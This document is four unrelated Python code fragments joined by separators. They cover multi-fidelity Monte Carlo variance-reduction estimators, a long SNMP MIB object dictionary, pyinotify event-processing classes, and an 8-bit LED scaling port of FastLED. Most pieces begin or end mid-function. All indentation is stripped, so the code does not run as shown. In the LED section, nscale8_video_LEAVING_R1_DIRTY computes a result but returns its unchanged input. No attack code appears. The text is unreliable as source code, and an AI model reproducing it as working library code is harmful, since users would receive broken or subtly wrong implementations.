any state that's shared by multiple threads without synchronization.
Also see new features
https://docs.scipy.org/doc/numpy/reference/random/parallel.html
https://docs.scipy.org/doc/numpy/reference/random/multithreading.html
"""
random_state = np.random.RandomState(seed)
local_generate_samples = partial(
generate_samples, random_state=random_state)
samples, values = generate_samples_and_values(
nhf_samples, nsample_ratios, model_ensemble, local_generate_samples)
# compute mean using only hf data
hf_mean = values[0][0].mean()
# compute ACV mean
eta = get_cv_weights(cov, nsample_ratios)
acv_mean = compute_approximate_control_variate_mean_estimate(eta, values)
return hf_mean, acv_mean
def estimate_variance_reduction(model_ensemble, cov, generate_samples,
allocate_samples, generate_samples_and_values,
get_cv_weights, get_rsquared=None,
ntrials=1e3, max_eval_concurrency=1,
target_cost=None, costs=None):
r"""
Numerically estimate the variance of an approximate control variate estimator
and compare its value to the estimator using only the high-fidelity data.
Parameters
----------
ntrials : integer
The number of times to compute estimator using different randomly
generated set of samples
max_eval_concurrency : integer
The number of processors used to compute realizations of the estimators,
which can be run independently and in parallel.
"""
M = cov.shape[0]-1 # number of lower fidelity models
if costs is None:
costs = np.asarray([100//2**ii for ii in range(M+1)])
if target_cost is None:
target_cost = int(1e4)
nhf_samples, nsample_ratios = allocate_samples(
cov, costs, target_cost)[:2]
ntrials = int(ntrials)
from multiprocessing import Pool
pool = Pool(max_eval_concurrency)
func = partial(
compute_single_fidelity_and_approximate_control_variate_mean_estimates,
nhf_samples, nsample_ratios, model_ensemble, generate_samples,
generate_samples_and_values, cov, get_cv_weights)
if max_eval_concurrency > 1:
assert int(os.environ['OMP_NUM_THREADS']) == 1
means = np.asarray(pool.map(func, [ii for ii in range(ntrials)]))
else:
means = np.empty((ntrials, 2))
for ii in range(ntrials):
means[ii, :] = func(ii)
numerical_var_reduction = means[:, 1].var(axis=0)/means[:, 0].var(axis=0)
if get_rsquared is not None:
true_var_reduction = 1-get_rsquared(cov[:M+1, :M+1], nsample_ratios)
return means, numerical_var_reduction, true_var_reduction
return means, numerical_var_reduction
def get_mfmc_control_variate_weights_pool_wrapper(cov, nsamples):
r"""
Create interface that adhears to assumed api for variance reduction check
cannot be defined as a lambda locally in a test when using with
multiprocessing pool because python cannot pickle such lambda functions
"""
return get_mfmc_control_variate_weights(cov)
def get_mlmc_control_variate_weights_pool_wrapper(cov, nsamples):
r"""
Create interface that adhears to assumed api for variance reduction check
cannot be defined as a lambda locally in a test when using with
multiprocessing pool because python cannot pickle such lambda functions
"""
return get_mlmc_control_variate_weights(cov.shape[0])
def plot_acv_sample_allocation(nsamples_history, costs, labels, ax):
def autolabel(ax, rects, labels):
# Attach a text label in each bar in *rects*
for rect, label in zip(rects, labels):
ax.annotate(label,
xy=(rect.get_x() + rect.get_width()/2,
rect.get_y() + rect.get_height()/2),
xytext=(0, -10), # 3 points vertical offset
textcoords="offset points",
ha='center', va='bottom')
nsamples_history = np.asarray(nsamples_history)
xlocs = np.arange(nsamples_history.shape[0])
nmodels = nsamples_history.shape[1]
cnt = 0
total_costs = nsamples_history.dot(costs)
for ii in range(nmodels):
rel_cost = nsamples_history[:, ii]*costs[ii]
rel_cost /= total_costs
rects = ax.bar(xlocs, rel_cost, bottom=cnt, edgecolor='white',
label=labels[ii])
autolabel(ax, rects, ['$%d$' % int(n)
for n in nsamples_history[:, ii]])
cnt += rel_cost
ax.set_xticks(xlocs)
ax.set_xticklabels(['$%d$' % t for t in total_costs])
ax.set_xlabel(r'$\mathrm{Total}\;\mathrm{Cost}$')
# / $N_\alpha$')
ax.set_ylabel(
r'$\mathrm{Percentage}\;\mathrm{of}\;\mathrm{Total}\;\mathrm{Cost}$')
ax.legend(loc=[0.925, 0.25])
def get_pilot_covariance(nmodels, variable, model_ensemble, npilot_samples):
"""
Parameters
----------
nmodels : integer
The number of information sources
variable : :class:`pyapprox.variable.IndependentMultivariateRandomVariable`
Object defining the nvar uncertain random variables.
Samples will be drawn from its joint density.
model_ensemble : callable
Function with signature
``model_ensemble(samples) -> np.ndarray (nsamples,1)``
where samples is a np.ndarray with shape (nvars+1,nsamples)
npilot_samples : integer
The number of samples used to compute correlations
Returns
-------
cov_matrix : np.ndarray (nmodels,nmodels)
The covariance between each information source
pilot_samples : np.ndarray (nvars+1,nsamples)
The samples used to evaluate each information source when computing
correlations
pilot_values : np.ndarray (nsamples,nmodels)
The values of each information source at the pilot samples
"""
pilot_samples = generate_independent_random_samples(
variable, npilot_samples)
config_vars = np.arange(nmodels)[np.newaxis, :]
pilot_samples = get_all_sample_combinations(
pilot_samples, config_vars)
pilot_values = model_ensemble(pilot_samples)
pilot_values = np.reshape(
pilot_values, (npilot_samples, model_ensemble.nmodels))
cov_matrix = np.cov(pilot_values, rowvar=False)
return cov_matrix, pilot_samples, pilot_values
def bootstrap_monte_carlo_estimator(values, nbootstraps=10, verbose=True):
"""
Approxiamte the variance of the Monte Carlo estimate of the mean using
bootstraping
Parameters
----------
values : np.ndarry (nsamples,1)
The values used to compute the mean
nbootstraps : integer
The number of boostraps used to compute estimator variance
verbose:
If True print the estimator mean and +/- 2 standard deviation interval
Returns
-------
bootstrap_mean : float
The bootstrap estimate of the estimator mean
bootstrap_variance : float
The bootstrap estimate of the estimator variance
"""
values = values.squeeze()
assert values.ndim == 1
nsamples = values.shape[0]
bootstrap_values = np.random.choice(
values, size=(nsamples, nbootstraps), replace=True)
bootstrap_means = bootstrap_values.mean(axis=0)
bootstrap_mean = bootstrap_means.mean()
bootstrap_variance = np.var(bootstrap_means)
if verbose:
print('No. samples', values.shape[0])
print('Mean', bootstrap_mean)
print('Mean +/- 2 sigma', [bootstrap_mean-2*np.sqrt(
bootstrap_variance), bootstrap_mean+2*np.sqrt(bootstrap_variance)])
return bootstrap_mean, bootstrap_variance
def bootstrap_mfmc_estimator(values, weights, nbootstraps=10,
verbose=True, acv_modification=True):
r"""
Boostrap the approximate MFMC estimate of the mean of
high-fidelity data with low-fidelity models with unknown means
Parameters
----------
values : list (nmodels)
The evaluations of each information source seperated in form
necessary for control variate estimators.
Each entry of the list contains
values0 : np.ndarray (num_samples_i0,num_qoi)
Evaluations of each model
used to compute the estimator :math:`Q_{i,N}` of
values1: np.ndarray (num_samples_i1,num_qoi)
Evaluations used compute the approximate
mean :math:`\mu_{i,r_iN}` of the low fidelity models.
weights : np.ndarray (nmodels-1)
The control variate weights
nbootstraps : integer
The number of boostraps used to compute estimator variance
verbose:
If True print the estimator mean and +/- 2 standard deviation interval
Returns
-------
bootstrap_mean : float
The bootstrap estimate of the estimator mean
bootstrap_variance : float
The bootstrap estimate of the estimator variance
"""
assert acv_modification
nmodels = len(values)
assert len(values) == nmodels
# high fidelity monte carlo estimate of mean
bootstrap_means = []
for jj in range(nbootstraps):
vals = values[0][0]
nhf_samples = vals.shape[0]
I1 = np.random.choice(
np.arange(nhf_samples), size=(nhf_samples), replace=True)
est = vals[I1].mean()
nprev_samples = nhf_samples
for ii in range(nmodels-1):
vals1 = values[ii+1][0]
nsamples1 = vals1.shape[0]
vals2 = values[ii+1][1]
nsamples2 = vals2.shape[0]
assert nsamples1 == nhf_samples
I2 = np.random.choice(
np.arange(nhf_samples, nsamples2), size=(nsamples2-nhf_samples),
replace=True)
# maks sure same shared samples are still used.
vals2_boot = np.vstack([vals2[I1], vals2[I2]])
est += weights[ii]*(vals1[I1].mean()-vals2_boot.mean())
if acv_modification:
nprev_samples = nhf_samples
else:
nprev_samples = nsamples2
bootstrap_means.append(est)
bootstrap_means = np.array(bootstrap_means)
bootstrap_mean = np.mean(bootstrap_means)
bootstrap_variance = np.var(bootstrap_means)
return bootstrap_mean, bootstrap_variance
def compute_covariance_from_control_variate_samples(values):
r"""
Compute the covariance between information sources from a set
of evaluations of each information source.
Parameters
----------
values : list (nmodels)
The evaluations of each information source seperated in form
necessary for control variate estimators.
Each entry of the list contains
values0 : np.ndarray (num_samples_i0,num_qoi)
Evaluations of each model
used to compute the estimator :math:`Q_{i,N}` of
values1: np.ndarray (num_samples_i1,num_qoi)
Evaluations used compute the approximate
mean :math:`\mu_{i,r_iN}` of the low fidelity models.
Returns
-------
cov : np.ndarray (nmodels)
The covariance | |
"15": {},
"16": {},
"17": {},
"18": {},
"19": {},
"2": {},
"20": {},
"21": {},
"22": {},
"23": {},
"24": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"sdlcLSStatsEntry": {
"1": {},
"10": {},
"11": {},
"12": {},
"13": {},
"14": {},
"15": {},
"16": {},
"17": {},
"18": {},
"19": {},
"2": {},
"20": {},
"21": {},
"22": {},
"23": {},
"24": {},
"25": {},
"26": {},
"27": {},
"28": {},
"29": {},
"3": {},
"30": {},
"31": {},
"32": {},
"33": {},
"34": {},
"35": {},
"36": {},
"37": {},
"38": {},
"39": {},
"4": {},
"40": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"sdlcPortAdminEntry": {
"1": {},
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"sdlcPortOperEntry": {
"1": {},
"10": {},
"11": {},
"12": {},
"13": {},
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"sdlcPortStatsEntry": {
"1": {},
"10": {},
"11": {},
"12": {},
"13": {},
"14": {},
"15": {},
"16": {},
"17": {},
"18": {},
"19": {},
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"snmp": {
"1": {},
"10": {},
"11": {},
"12": {},
"13": {},
"14": {},
"15": {},
"16": {},
"17": {},
"18": {},
"19": {},
"2": {},
"20": {},
"21": {},
"22": {},
"24": {},
"25": {},
"26": {},
"27": {},
"28": {},
"29": {},
"3": {},
"30": {},
"31": {},
"32": {},
"4": {},
"5": {},
"6": {},
"8": {},
"9": {},
},
"snmpCommunityMIB.10.4.1.2": {},
"snmpCommunityMIB.10.4.1.3": {},
"snmpCommunityMIB.10.4.1.4": {},
"snmpCommunityMIB.10.4.1.5": {},
"snmpCommunityMIB.10.4.1.6": {},
"snmpCommunityMIB.10.4.1.7": {},
"snmpCommunityMIB.10.4.1.8": {},
"snmpCommunityMIB.10.9.1.1": {},
"snmpCommunityMIB.10.9.1.2": {},
"snmpFrameworkMIB.2.1.1": {},
"snmpFrameworkMIB.2.1.2": {},
"snmpFrameworkMIB.2.1.3": {},
"snmpFrameworkMIB.2.1.4": {},
"snmpMIB.1.6.1": {},
"snmpMPDMIB.2.1.1": {},
"snmpMPDMIB.2.1.2": {},
"snmpMPDMIB.2.1.3": {},
"snmpNotificationMIB.10.4.1.2": {},
"snmpNotificationMIB.10.4.1.3": {},
"snmpNotificationMIB.10.4.1.4": {},
"snmpNotificationMIB.10.4.1.5": {},
"snmpNotificationMIB.10.9.1.1": {},
"snmpNotificationMIB.10.9.1.2": {},
"snmpNotificationMIB.10.9.1.3": {},
"snmpNotificationMIB.10.16.1.2": {},
"snmpNotificationMIB.10.16.1.3": {},
"snmpNotificationMIB.10.16.1.4": {},
"snmpNotificationMIB.10.16.1.5": {},
"snmpProxyMIB.10.9.1.2": {},
"snmpProxyMIB.10.9.1.3": {},
"snmpProxyMIB.10.9.1.4": {},
"snmpProxyMIB.10.9.1.5": {},
"snmpProxyMIB.10.9.1.6": {},
"snmpProxyMIB.10.9.1.7": {},
"snmpProxyMIB.10.9.1.8": {},
"snmpProxyMIB.10.9.1.9": {},
"snmpTargetMIB.1.1": {},
"snmpTargetMIB.10.9.1.2": {},
"snmpTargetMIB.10.9.1.3": {},
"snmpTargetMIB.10.9.1.4": {},
"snmpTargetMIB.10.9.1.5": {},
"snmpTargetMIB.10.9.1.6": {},
"snmpTargetMIB.10.9.1.7": {},
"snmpTargetMIB.10.9.1.8": {},
"snmpTargetMIB.10.9.1.9": {},
"snmpTargetMIB.10.16.1.2": {},
"snmpTargetMIB.10.16.1.3": {},
"snmpTargetMIB.10.16.1.4": {},
"snmpTargetMIB.10.16.1.5": {},
"snmpTargetMIB.10.16.1.6": {},
"snmpTargetMIB.10.16.1.7": {},
"snmpTargetMIB.1.4": {},
"snmpTargetMIB.1.5": {},
"snmpUsmMIB.1.1.1": {},
"snmpUsmMIB.1.1.2": {},
"snmpUsmMIB.1.1.3": {},
"snmpUsmMIB.1.1.4": {},
"snmpUsmMIB.1.1.5": {},
"snmpUsmMIB.1.1.6": {},
"snmpUsmMIB.1.2.1": {},
"snmpUsmMIB.10.9.2.1.10": {},
"snmpUsmMIB.10.9.2.1.11": {},
"snmpUsmMIB.10.9.2.1.12": {},
"snmpUsmMIB.10.9.2.1.13": {},
"snmpUsmMIB.10.9.2.1.3": {},
"snmpUsmMIB.10.9.2.1.4": {},
"snmpUsmMIB.10.9.2.1.5": {},
"snmpUsmMIB.10.9.2.1.6": {},
"snmpUsmMIB.10.9.2.1.7": {},
"snmpUsmMIB.10.9.2.1.8": {},
"snmpUsmMIB.10.9.2.1.9": {},
"snmpVacmMIB.10.4.1.1": {},
"snmpVacmMIB.10.9.1.3": {},
"snmpVacmMIB.10.9.1.4": {},
"snmpVacmMIB.10.9.1.5": {},
"snmpVacmMIB.10.25.1.4": {},
"snmpVacmMIB.10.25.1.5": {},
"snmpVacmMIB.10.25.1.6": {},
"snmpVacmMIB.10.25.1.7": {},
"snmpVacmMIB.10.25.1.8": {},
"snmpVacmMIB.10.25.1.9": {},
"snmpVacmMIB.1.5.1": {},
"snmpVacmMIB.10.36.2.1.3": {},
"snmpVacmMIB.10.36.2.1.4": {},
"snmpVacmMIB.10.36.2.1.5": {},
"snmpVacmMIB.10.36.2.1.6": {},
"sonetFarEndLineCurrentEntry": {"1": {}, "2": {}, "3": {}, "4": {}},
"sonetFarEndLineIntervalEntry": {"2": {}, "3": {}, "4": {}, "5": {}, "6": {}},
"sonetFarEndPathCurrentEntry": {"1": {}, "2": {}, "3": {}, "4": {}},
"sonetFarEndPathIntervalEntry": {"2": {}, "3": {}, "4": {}, "5": {}, "6": {}},
"sonetFarEndVTCurrentEntry": {"1": {}, "2": {}, "3": {}, "4": {}},
"sonetFarEndVTIntervalEntry": {"2": {}, "3": {}, "4": {}, "5": {}, "6": {}},
"sonetLineCurrentEntry": {"1": {}, "2": {}, "3": {}, "4": {}, "5": {}},
"sonetLineIntervalEntry": {"2": {}, "3": {}, "4": {}, "5": {}, "6": {}},
"sonetMedium": {"2": {}},
"sonetMediumEntry": {
"1": {},
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
},
"sonetPathCurrentEntry": {"1": {}, "2": {}, "3": {}, "4": {}, "5": {}, "6": {}},
"sonetPathIntervalEntry": {"2": {}, "3": {}, "4": {}, "5": {}, "6": {}},
"sonetSectionCurrentEntry": {"1": {}, "2": {}, "3": {}, "4": {}, "5": {}},
"sonetSectionIntervalEntry": {"2": {}, "3": {}, "4": {}, "5": {}, "6": {}},
"sonetVTCurrentEntry": {"1": {}, "2": {}, "3": {}, "4": {}, "5": {}, "6": {}},
"sonetVTIntervalEntry": {"2": {}, "3": {}, "4": {}, "5": {}, "6": {}},
"srpErrCntCurrEntry": {
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"srpErrCntIntEntry": {
"10": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"srpErrorsCountersCurrentEntry": {
"10": {},
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"srpErrorsCountersIntervalEntry": {
"10": {},
"11": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"srpHostCountersCurrentEntry": {
"10": {},
"11": {},
"12": {},
"13": {},
"14": {},
"15": {},
"16": {},
"17": {},
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"srpHostCountersIntervalEntry": {
"10": {},
"11": {},
"12": {},
"13": {},
"14": {},
"15": {},
"16": {},
"17": {},
"18": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"srpIfEntry": {
"1": {},
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
},
"srpMACCountersEntry": {
"1": {},
"10": {},
"11": {},
"12": {},
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"srpMACSideEntry": {
"10": {},
"11": {},
"12": {},
"13": {},
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"srpRingCountersCurrentEntry": {
"10": {},
"11": {},
"12": {},
"13": {},
"14": {},
"15": {},
"16": {},
"17": {},
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"srpRingCountersIntervalEntry": {
"10": {},
"11": {},
"12": {},
"13": {},
"14": {},
"15": {},
"16": {},
"17": {},
"18": {},
"19": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"srpRingTopologyMapEntry": {"2": {}, "3": {}, "4": {}},
"stunGlobal": {"1": {}},
"stunGroupEntry": {"2": {}},
"stunPortEntry": {"1": {}, "2": {}, "3": {}, "4": {}},
"stunRouteEntry": {
"10": {},
"11": {},
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"sysOREntry": {"2": {}, "3": {}, "4": {}},
"sysUpTime": {},
"system": {"1": {}, "2": {}, "4": {}, "5": {}, "6": {}, "7": {}, "8": {}},
"tcp": {
"1": {},
"10": {},
"11": {},
"12": {},
"14": {},
"15": {},
"17": {},
"18": {},
"2": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"tcp.19.1.7": {},
"tcp.19.1.8": {},
"tcp.20.1.4": {},
"tcpConnEntry": {"1": {}, "2": {}, "3": {}, "4": {}, "5": {}},
"tmpappletalk": {
"1": {},
"10": {},
"11": {},
"12": {},
"13": {},
"14": {},
"15": {},
"16": {},
"17": {},
"18": {},
"19": {},
"2": {},
"20": {},
"21": {},
"22": {},
"23": {},
"24": {},
"25": {},
"26": {},
"27": {},
"28": {},
"29": {},
"3": {},
"30": {},
"31": {},
"4": {},
"5": {},
"7": {},
"8": {},
"9": {},
},
"tmpdecnet": {
"1": {},
"10": {},
"11": {},
"12": {},
"13": {},
"14": {},
"15": {},
"16": {},
"17": {},
"18": {},
"19": {},
"2": {},
"20": {},
"21": {},
"22": {},
"23": {},
"24": {},
"25": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"tmpnovell": {
"1": {},
"10": {},
"11": {},
"12": {},
"13": {},
"14": {},
"15": {},
"16": {},
"17": {},
"18": {},
"19": {},
"2": {},
"20": {},
"22": {},
"24": {},
"25": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"tmpvines": {
"1": {},
"10": {},
"11": {},
"12": {},
"13": {},
"14": {},
"15": {},
"16": {},
"17": {},
"18": {},
"19": {},
"2": {},
"20": {},
"21": {},
"22": {},
"23": {},
"24": {},
"25": {},
"26": {},
"27": {},
"28": {},
"3": {},
"4": {},
"5": {},
"6": {},
"7": {},
"8": {},
"9": {},
},
"tmpxns": {
"1": {},
"10": {},
"11": {},
"12": {},
"13": {},
"14": {},
"15": {},
"16": {},
"17": {},
| |
scenario
# to provide as additional information to the IN_MOVED_TO event
# the original pathname of the moved file/directory.
to_append['src_pathname'] = mv_[0]
elif (raw_event.mask & IN_ISDIR and watch_.auto_add and
not watch_.exclude_filter(dst_path)):
# We got a diretory that's "moved in" from an unknown source and
# auto_add is enabled. Manually add watches to the inner subtrees.
# The newly monitored directory inherits attributes from its
# parent directory.
self._watch_manager.add_watch(dst_path, watch_.mask,
proc_fun=watch_.proc_fun,
rec=True, auto_add=True,
exclude_filter=watch_.exclude_filter)
return self.process_default(raw_event, to_append)
def process_IN_MOVE_SELF(self, raw_event):
"""
STATUS: the following bug has been fixed in recent kernels (FIXME:
which version ?). Now it raises IN_DELETE_SELF instead.
Old kernels were bugged, this event raised when the watched item
were moved, so we had to update its path, but under some circumstances
it was impossible: if its parent directory and its destination
directory wasn't watched. The kernel (see include/linux/fsnotify.h)
doesn't bring us enough informations like the destination path of
moved items.
"""
watch_ = self._watch_manager.get_watch(raw_event.wd)
src_path = watch_.path
mv_ = self._mv.get(src_path)
if mv_:
dest_path = mv_[0]
watch_.path = dest_path
# add the separator to the source path to avoid overlapping
# path issue when testing with startswith()
src_path += os.path.sep
src_path_len = len(src_path)
# The next loop renames all watches with src_path as base path.
# It seems that IN_MOVE_SELF does not provide IN_ISDIR information
# therefore the next loop is iterated even if raw_event is a file.
for w in self._watch_manager.watches.values():
if w.path.startswith(src_path):
# Note that dest_path is a normalized path.
w.path = os.path.join(dest_path, w.path[src_path_len:])
else:
log.error("The pathname '%s' of this watch %s has probably changed "
"and couldn't be updated, so it cannot be trusted "
"anymore. To fix this error move directories/files only "
"between watched parents directories, in this case e.g. "
"put a watch on '%s'.",
watch_.path, watch_,
os.path.normpath(os.path.join(watch_.path,
os.path.pardir)))
if not watch_.path.endswith('-unknown-path'):
watch_.path += '-unknown-path'
return self.process_default(raw_event)
def process_IN_Q_OVERFLOW(self, raw_event):
"""
Only signal an overflow, most of the common flags are irrelevant
for this event (path, wd, name).
"""
return Event({'mask': raw_event.mask})
def process_IN_IGNORED(self, raw_event):
"""
The watch descriptor raised by this event is now ignored (forever),
it can be safely deleted from the watch manager dictionary.
After this event we can be sure that neither the event queue nor
the system will raise an event associated to this wd again.
"""
event_ = self.process_default(raw_event)
self._watch_manager.del_watch(raw_event.wd)
return event_
def process_default(self, raw_event, to_append=None):
"""
Commons handling for the followings events:
IN_ACCESS, IN_MODIFY, IN_ATTRIB, IN_CLOSE_WRITE, IN_CLOSE_NOWRITE,
IN_OPEN, IN_DELETE, IN_DELETE_SELF, IN_UNMOUNT.
"""
watch_ = self._watch_manager.get_watch(raw_event.wd)
if raw_event.mask & (IN_DELETE_SELF | IN_MOVE_SELF):
# Unfornulately this information is not provided by the kernel
dir_ = watch_.dir
else:
dir_ = bool(raw_event.mask & IN_ISDIR)
dict_ = {'wd': raw_event.wd,
'mask': raw_event.mask,
'path': watch_.path,
'name': raw_event.name,
'dir': dir_}
if COMPATIBILITY_MODE:
dict_['is_dir'] = dir_
if to_append is not None:
dict_.update(to_append)
return Event(dict_)
class ProcessEvent(_ProcessEvent):
"""
Process events objects, can be specialized via subclassing, thus its
behavior can be overriden:
Note: you should not override __init__ in your subclass instead define
a my_init() method, this method will be called automatically from the
constructor of this class with its optionals parameters.
1. Provide specialized individual methods, e.g. process_IN_DELETE for
processing a precise type of event (e.g. IN_DELETE in this case).
2. Or/and provide methods for processing events by 'family', e.g.
process_IN_CLOSE method will process both IN_CLOSE_WRITE and
IN_CLOSE_NOWRITE events (if process_IN_CLOSE_WRITE and
process_IN_CLOSE_NOWRITE aren't defined though).
3. Or/and override process_default for catching and processing all
the remaining types of events.
"""
pevent = None
def __init__(self, pevent=None, **kargs):
"""
Enable chaining of ProcessEvent instances.
@param pevent: Optional callable object, will be called on event
processing (before self).
@type pevent: callable
@param kargs: This constructor is implemented as a template method
delegating its optionals keyworded arguments to the
method my_init().
@type kargs: dict
"""
self.pevent = pevent
self.my_init(**kargs)
def my_init(self, **kargs):
"""
This method is called from ProcessEvent.__init__(). This method is
empty here and must be redefined to be useful. In effect, if you
need to specifically initialize your subclass' instance then you
just have to override this method in your subclass. Then all the
keyworded arguments passed to ProcessEvent.__init__() will be
transmitted as parameters to this method. Beware you MUST pass
keyword arguments though.
@param kargs: optional delegated arguments from __init__().
@type kargs: dict
"""
pass
def __call__(self, event):
stop_chaining = False
if self.pevent is not None:
# By default methods return None so we set as guideline
# that methods asking for stop chaining must explicitely
# return non None or non False values, otherwise the default
# behavior will be to accept chain call to the corresponding
# local method.
stop_chaining = self.pevent(event)
if not stop_chaining:
return _ProcessEvent.__call__(self, event)
def nested_pevent(self):
return self.pevent
def process_IN_Q_OVERFLOW(self, event):
"""
By default this method only reports warning messages, you can overredide
it by subclassing ProcessEvent and implement your own
process_IN_Q_OVERFLOW method. The actions you can take on receiving this
event is either to update the variable max_queued_events in order to
handle more simultaneous events or to modify your code in order to
accomplish a better filtering diminishing the number of raised events.
Because this method is defined, IN_Q_OVERFLOW will never get
transmitted as arguments to process_default calls.
@param event: IN_Q_OVERFLOW event.
@type event: dict
"""
log.warning('Event queue overflowed.')
def process_default(self, event):
"""
Default processing event method. By default does nothing. Subclass
ProcessEvent and redefine this method in order to modify its behavior.
@param event: Event to be processed. Can be of any type of events but
IN_Q_OVERFLOW events (see method process_IN_Q_OVERFLOW).
@type event: Event instance
"""
pass
class PrintAllEvents(ProcessEvent):
"""
Dummy class used to print events strings representations. For instance this
class is used from command line to print all received events to stdout.
"""
def my_init(self, out=None):
"""
@param out: Where events will be written.
@type out: Object providing a valid file object interface.
"""
if out is None:
out = sys.stdout
self._out = out
def process_default(self, event):
"""
Writes event string representation to file object provided to
my_init().
@param event: Event to be processed. Can be of any type of events but
IN_Q_OVERFLOW events (see method process_IN_Q_OVERFLOW).
@type event: Event instance
"""
self._out.write(str(event))
self._out.write('\n')
self._out.flush()
class ChainIfTrue(ProcessEvent):
"""
Makes conditional chaining depending on the result of the nested
processing instance.
"""
def my_init(self, func):
"""
Method automatically called from base class constructor.
"""
self._func = func
def process_default(self, event):
return not self._func(event)
class Stats(ProcessEvent):
"""
Compute and display trivial statistics about processed events.
"""
def my_init(self):
"""
Method automatically called from base class constructor.
"""
self._start_time = time.time()
self._stats = {}
self._stats_lock = threading.Lock()
def process_default(self, event):
"""
Processes |event|.
"""
self._stats_lock.acquire()
try:
events = event.maskname.split('|')
for event_name in events:
count = self._stats.get(event_name, 0)
self._stats[event_name] = count + 1
finally:
self._stats_lock.release()
def _stats_copy(self):
self._stats_lock.acquire()
try:
return self._stats.copy()
finally:
self._stats_lock.release()
def __repr__(self):
stats = self._stats_copy()
elapsed = int(time.time() - self._start_time)
elapsed_str = ''
if elapsed < 60:
elapsed_str = str(elapsed) + 'sec'
elif 60 <= elapsed < 3600:
elapsed_str = '%dmn%dsec' % (elapsed / 60, elapsed % 60)
elif 3600 <= elapsed < 86400:
elapsed_str = '%dh%dmn' % (elapsed / 3600, (elapsed % 3600) / 60)
elif elapsed >= 86400:
elapsed_str = '%dd%dh' % (elapsed / 86400, (elapsed % 86400) / 3600)
stats['ElapsedTime'] = elapsed_str
l = []
for ev, value in sorted(stats.items(), key=lambda x: x[0]):
l.append(' %s=%s' % (output_format.field_name(ev),
output_format.field_value(value)))
s = '<%s%s >' % (output_format.class_name(self.__class__.__name__),
''.join(l))
return s
def dump(self, filename):
"""
Dumps statistics.
@param filename: filename where stats will be dumped, filename is
created and must not exist prior to this call.
@type filename: string
"""
flags = os.O_WRONLY|os.O_CREAT|os.O_NOFOLLOW|os.O_EXCL
fd = os.open(filename, flags, 0o0600)
os.write(fd, bytes(self.__str__(), locale.getpreferredencoding()))
os.close(fd)
def __str__(self, scale=45):
stats = self._stats_copy()
if not stats:
return ''
m = max(stats.values())
unity = scale / m
fmt = '%%-26s%%-%ds%%s' % (len(output_format.field_value('@' * scale))
+ 1)
| |
from . import *
# @ingroup lib8tion
# @defgroup Scaling Scaling functions
# Fast, efficient 8-bit scaling functions specifically
# designed for high-performance LED programming.
#
# Because of the AVR(Arduino) and ARM assembly language
# implementations provided, using these functions often
# results in smaller and faster code than the equivalent
# program using plain "C" arithmetic and logic.
# @{
# scale one byte by a second one, which is treated as
# the numerator of a fraction whose denominator is 256
# In other words, it computes i * (scale / 256)
# 4 clocks AVR with MUL, 2 clocks ARM
def scale8(i, scale):
if FASTLED_SCALE8_FIXED == 1:
return (i * (1 + scale)) >> 8
else:
return (i * scale) >> 8
# The "video" version of scale8 guarantees that the output will
# be only be zero if one or both of the inputs are zero. If both
# inputs are non-zero, the output is guaranteed to be non-zero.
# This makes for better 'video'/LED dimming, at the cost of
# several additional cycles.
def scale8_video(i, scale):
if i and scale:
j = ((i * scale) >> 8) + 1
else:
j = (i * scale) >> 8
# uint8_t nonzeroscale = (scale != 0) ? 1 : 0;
# uint8_t j = (i == 0) ? 0 : (((int)i * (int)(scale) ) >> 8) + nonzeroscale;
return j
# This version of scale8 does not clean up the R1 register on AVR
# If you are doing several 'scale8's in a row, use this, and
# then explicitly call cleanup_R1.
def scale8_LEAVING_R1_DIRTY(i, scale):
if FASTLED_SCALE8_FIXED == 1:
return (i * (scale + 1)) >> 8
else:
return (i * scale) >> 8
# In place modifying version of scale8, also this version of nscale8 does not
# clean up the R1 register on AVR
# If you are doing several 'scale8's in a row, use this, and
# then explicitly call cleanup_R1.
def nscale8_LEAVING_R1_DIRTY(i, scale):
if FASTLED_SCALE8_FIXED == 1:
i = (i * (scale + 1)) >> 8
else:
i = (i * scale) >> 8
return i
# This version of scale8_video does not clean up the R1 register on AVR
# If you are doing several 'scale8_video's in a row, use this, and
# then explicitly call cleanup_R1.
def scale8_video_LEAVING_R1_DIRTY(i, scale):
j = ((i * scale) >> 8)
if i and scale:
j += 1
# uint8_t nonzeroscale = (scale != 0) ? 1 : 0;
# uint8_t j = (i == 0) ? 0 : (((int)i * (int)(scale) ) >> 8) + nonzeroscale;
return j
# In place modifying version of scale8_video, also this version of nscale8_video
# does not clean up the R1 register on AVR
# If you are doing several 'scale8_video's in a row, use this, and
# then explicitly call cleanup_R1.
def nscale8_video_LEAVING_R1_DIRTY(i, scale):
j = (i * scale) >> 8
if i and scale:
j += 1
return i
# Clean up the r1 register after a series of *LEAVING_R1_DIRTY calls
def cleanup_R1():
pass
